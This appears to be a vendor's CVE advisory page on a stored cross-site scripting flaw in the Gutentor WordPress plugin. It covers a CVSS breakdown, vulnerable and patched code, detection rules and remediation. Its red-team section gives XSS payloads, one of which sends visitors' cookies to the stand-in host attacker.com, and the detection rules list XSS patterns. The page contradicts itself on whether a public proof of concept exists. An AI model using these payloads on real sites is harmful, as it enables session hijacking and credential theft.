☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-5417

CVE-2024-5417 Cross-Site Scripting in Gutentor
📅 PUBLISHED: 2024-08-29 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5417 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutentor WordPress plugin, affecting versions prior to 3.3.6. The vulnerability arises from insufficient validation and escaping of block options before they are output in a page or post where the block is embedded. This allows users with the contributor role and above to inject arbitrary JavaScript into the WordPress database, which is then executed in the browsers of visitors viewing the affected content. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). No public proof-of-concept (PoC) or exploit code has been released at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the Gutentor WordPress plugin, which is distributed through the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or via the WordPress plugin directory. No supply chain compromise has been identified; the issue is a code-level flaw in the plugin itself.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) / Calculated: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor role)
  • User Interaction: None
  • Scope: Changed (affects other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • Threat Level: Medium – Exploitation requires authenticated access but can lead to session hijacking, defacement, or data theft.

Deep Dive & Mechanics

The vulnerability exists in the Gutentor plugin’s block rendering logic. When a user with contributor-level privileges or higher creates or edits a post/page using a Gutentor block, certain block options (e.g., custom CSS classes, HTML attributes, or inline styles) are not properly sanitized or escaped before being stored in the WordPress database. When the block is rendered on the frontend, the unsanitized input is output directly into the HTML, allowing an attacker to inject malicious JavaScript.

The attack flow:

  1. An authenticated user with contributor role creates a new post or page.
  2. The user inserts a Gutentor block and modifies a vulnerable block option (e.g., a custom CSS class field) to include a payload like "><script>alert('XSS')</script>.
  3. The payload is stored in the database without proper escaping.
  4. When any visitor (including administrators) views the post/page, the payload executes in their browser.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The fix in version 3.3.6 likely involves adding proper escaping functions (e.g., esc_attr(), esc_html(), or wp_kses_post()) to the block option outputs.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-3.3.6):

// In block render callback
$custom_class = $attributes['customClass'] ?? '';
echo '<div class="' . $custom_class . '">'; // No escaping

Patched Code (3.3.6+):

// In block render callback
$custom_class = $attributes['customClass'] ?? '';
echo '<div class="' . esc_attr($custom_class) . '">'; // Proper escaping

The patched version uses esc_attr() to ensure that any special characters in the block option are encoded, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site running Gutentor < 3.3.6.
  • An account with at least the Contributor role.

Steps:

  1. Log in to WordPress as a contributor.
  2. Create a new post or page.
  3. Add a Gutentor block (e.g., a "Heading" or "Button" block).
  4. Locate a vulnerable block option field (e.g., "Custom CSS Class" or "Additional Attributes").
  5. Inject a payload such as:
    " onfocus="alert(1)" autofocus="true
    
    or
    "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  6. Save/publish the post.
  7. When an administrator or visitor views the post, the payload executes.

Note: No public exploit code is available; the above is a generic XSS exploitation technique.

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress logs for unusual block option values containing <script>, onerror, onfocus, or other event handlers.
  • Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to wp-admin/post.php or wp-admin/admin-ajax.php.

Hardening:

  • Immediately update Gutentor to version 3.3.6 or later.
  • Restrict contributor roles from using custom HTML/JavaScript in blocks (if possible via a security plugin).
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): N/A (no known malicious files)
  • Network Indicators:
    • Outbound connections to attacker-controlled domains from WordPress admin users.
    • POST requests to wp-admin/post.php containing XSS payloads in block option fields.
  • Log Entries:
    • WordPress debug log entries showing wp_kses or esc_attr failures.
    • Web server access logs with unusual query strings in wp-json/gutentor/v1/ endpoints.
  • Database Indicators:
    • Rows in wp_posts or wp_postmeta containing <script> tags or event handlers in block option fields.

Detection Engineering

YARA Rule

rule CVE_2024_5417_Gutentor_XSS {
    meta:
        description = "Detects stored XSS payloads in Gutentor block options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5417"
    strings:
        $xss_payload_1 = /<script[^>]*>.*?<\/script>/is
        $xss_payload_2 = /on\w+\s*=\s*["'][^"']*["']/is
        $xss_payload_3 = /javascript\s*:/is
    condition:
        any of ($xss_payload*) and filesize < 10MB
}

Sigma Rule

title: Gutentor Stored XSS Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in Gutentor block options
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/wp-admin/post.php'
            - '/wp-admin/admin-ajax.php'
        cs-uri-query|contains:
            - 'gutentor'
            - 'gutentor_block'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror='
        - 'onfocus='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in block options (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-5417 Gutentor Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"gutentor"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update Gutentor to version 3.3.6 or later via the WordPress admin dashboard.
  2. Review all posts/pages created by contributors for suspicious block options.
  3. Reset contributor passwords if compromise is suspected.

Long-term Mitigations:

  • Implement a Web Application Firewall (WAF) with XSS rules.
  • Enforce Content Security Policy (CSP) headers.
  • Regularly audit user roles and permissions.
  • Enable automatic updates for WordPress plugins.

Workarounds (if patching is not possible):

  • Disable the Gutentor plugin until a patch can be applied.
  • Use a security plugin (e.g., Wordfence) to block XSS payloads.

Report generated by Valters IT – DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Gutentor"
http.html:"gutentor"
http.html:"gutentor-packs"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5417/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.